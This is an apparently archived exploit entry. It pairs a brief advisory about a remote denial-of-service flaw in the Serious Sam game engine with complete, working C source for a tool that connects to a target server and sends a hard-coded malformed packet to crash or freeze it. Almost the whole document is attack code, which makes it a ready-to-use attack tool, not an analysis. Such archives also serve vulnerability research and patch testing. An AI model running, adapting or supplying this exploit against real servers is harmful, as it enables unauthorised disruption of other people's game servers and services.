283 lines
No EOL
7.7 KiB
C
283 lines
No EOL
7.7 KiB
C
// source: https://www.securityfocus.com/bid/8936/info
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It has been reported that Serious Sam game engine is vulnerable to a remote denial of service vulnerability due to a failure to handle exceptional conditions. This issue occurs when the client sends a certain malformed parameter to the server. This request may cause the software to consume an excessive amount of CPU cycles leading to a crash or hang.
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Successful exploitation of this issue may allow an attacker to cause the software to act in an unstable manner leading to a crash or hang.
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It has been reported that Serious Sam engines and games that run on the TCP protocol are vulnerable to this issue however other games and versions could be affected as well.
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----------------------------------sam.h---------------------------------------
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/*
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Header file used for manage errors in Windows
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It support socket and errno too
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(this header replace the previous sock_errX.h)
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*/
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#include <string.h>
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#include <errno.h>
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void std_err(void) {
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char *error;
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switch(WSAGetLastError()) {
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case 10004: error = "Interrupted system call"; break;
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case 10009: error = "Bad file number"; break;
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case 10013: error = "Permission denied"; break;
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case 10014: error = "Bad address"; break;
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case 10022: error = "Invalid argument (not bind)"; break;
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case 10024: error = "Too many open files"; break;
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case 10035: error = "Operation would block"; break;
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case 10036: error = "Operation now in progress"; break;
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case 10037: error = "Operation already in progress"; break;
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case 10038: error = "Socket operation on non-socket"; break;
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case 10039: error = "Destination address required"; break;
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case 10040: error = "Message too long"; break;
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case 10041: error = "Protocol wrong type for socket"; break;
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case 10042: error = "Bad protocol option"; break;
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case 10043: error = "Protocol not supported"; break;
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case 10044: error = "Socket type not supported"; break;
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case 10045: error = "Operation not supported on socket"; break;
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case 10046: error = "Protocol family not supported"; break;
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case 10047: error = "Address family not supported by protocol family"; break;
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case 10048: error = "Address already in use"; break;
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case 10049: error = "Can't assign requested address"; break;
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case 10050: error = "Network is down"; break;
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case 10051: error = "Network is unreachable"; break;
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case 10052: error = "Net dropped connection or reset"; break;
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case 10053: error = "Software caused connection abort"; break;
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case 10054: error = "Connection reset by peer"; break;
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case 10055: error = "No buffer space available"; break;
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case 10056: error = "Socket is already connected"; break;
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case 10057: error = "Socket is not connected"; break;
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case 10058: error = "Can't send after socket shutdown"; break;
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case 10059: error = "Too many references, can't splice"; break;
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case 10060: error = "Connection timed out"; break;
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case 10061: error = "Connection refused"; break;
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case 10062: error = "Too many levels of symbolic links"; break;
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case 10063: error = "File name too long"; break;
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case 10064: error = "Host is down"; break;
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case 10065: error = "No Route to Host"; break;
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case 10066: error = "Directory not empty"; break;
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case 10067: error = "Too many processes"; break;
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case 10068: error = "Too many users"; break;
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case 10069: error = "Disc Quota Exceeded"; break;
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case 10070: error = "Stale NFS file handle"; break;
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case 10091: error = "Network SubSystem is unavailable"; break;
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case 10092: error = "WINSOCK DLL Version out of range"; break;
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case 10093: error = "Successful WSASTARTUP not yet performed"; break;
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case 10071: error = "Too many levels of remote in path"; break;
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case 11001: error = "Host not found"; break;
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case 11002: error = "Non-Authoritative Host not found"; break;
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case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
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case 11004: error = "Valid name, no data record of requested type"; break;
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default: error = strerror(errno); break;
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}
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fprintf(stderr, "\nError: %s\n", error);
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exit(1);
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}
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----------------------------------sam.c---------------------------------------
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/*
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by Luigi Auriemma
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This source is covered by GNU/GPL
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UNIX & WIN VERSION
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <time.h>
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#ifdef WIN
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#include <winsock.h>
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#include <malloc.h>
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#include "winerr.h"
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#define close closesocket
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#define ONESEC 1000
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#else
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#include <unistd.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <arpa/inet.h>
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#include <netdb.h>
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#define ONESEC 1
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#endif
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#define VER "0.1"
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#define BUFFSZ 2048
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#define PORT 25600
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#define TIMEWAIT 5
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u_long resolv(char *host);
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void std_err(void);
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int main(int argc, char *argv[]) {
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int sd,
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err,
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port;
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struct sockaddr_in peer;
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u_char *buff,
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type,
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pck[] =
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/* bug */ "\xff\xff\xff\xff"
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"\x40\xE1\xDE\x03\xFB\xCA\x2A\xBC\x83\x01\x00\x00\x07\x47\x41"
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"\x54\x56\x10\x27\x00\x00\x05\x00\x00\x00\x00\x00\x01\x00\x00"
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"\x00\x01\x00\x00\x00\xA0\x0F\x00\x00\x64\x00\x00\x00";
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setbuf(stdout, NULL);
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fputs("\n"
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"Serious Sam TCP remote crash/freeze "VER"\n"
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"by Luigi Auriemma\n"
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"e-mail: aluigi@altervista.org\n"
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"web: http://aluigi.altervista.org\n"
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"\n", stdout);
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if(argc < 3) {
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printf("\nUsage: %s <type> <server> [port(%u)]\n"
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"\nType of crash:\n"
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"0 = crash (0xffffffff)\n"
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"1 = freeze (0xfffffff0)\n"
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"\n", argv[0], PORT);
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exit(1);
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}
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#ifdef WIN
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WSADATA wsadata;
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WSAStartup(MAKEWORD(1,0), &wsadata);
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#endif
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type = argv[1][0] & 1;
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if(type) memcpy(pck, "\xf0\xff\xff\xff", 4);
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else memcpy(pck, "\xff\xff\xff\xff", 4);
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if(argc > 3) port = atoi(argv[3]);
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else port = PORT;
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peer.sin_addr.s_addr = resolv(argv[2]);
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peer.sin_port = htons(port);
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peer.sin_family = AF_INET;
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buff = malloc(BUFFSZ);
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if(!buff) std_err();
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printf("\nConnection to %s:%hu\n",
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inet_ntoa(peer.sin_addr),
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port);
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sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
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if(sd < 0) std_err();
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err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
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if(err < 0) std_err();
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/* 1 recv */
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err = recv(sd, buff, BUFFSZ, 0);
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if(err < 0) std_err();
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if(!err) {
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fputs("\nError: the server has closed the connection, retry\n",
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stdout);
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exit(1);
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}
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fputc('.', stdout);
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/* BOOOOOM */
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err = send(sd, pck, sizeof(pck) - 1, 0);
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if(err < 0) std_err();
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fputs("\nMalformed data sent, now I need to wait some seconds...\n",
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stdout);
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for(err = TIMEWAIT; err > 0; err--) {
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printf("%d\r", err);
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sleep(ONESEC);
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}
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close(sd);
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fputs("\nThe exploit is terminated and the server should be down,
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check it\n", stdout);
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free(buff);
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return(0);
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}
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u_long resolv(char *host) {
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struct hostent *hp;
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u_long host_ip;
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host_ip = inet_addr(host);
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if(host_ip == INADDR_NONE) {
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hp = gethostbyname(host);
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if(!hp) {
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printf("\nError: Unable to resolve hostname (%s)\n", host);
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exit(1);
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} else host_ip = *(u_long *)(hp->h_addr);
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}
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return(host_ip);
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}
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#ifndef WIN
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void std_err(void) {
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perror("\nError");
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exit(1);
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}
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#endif |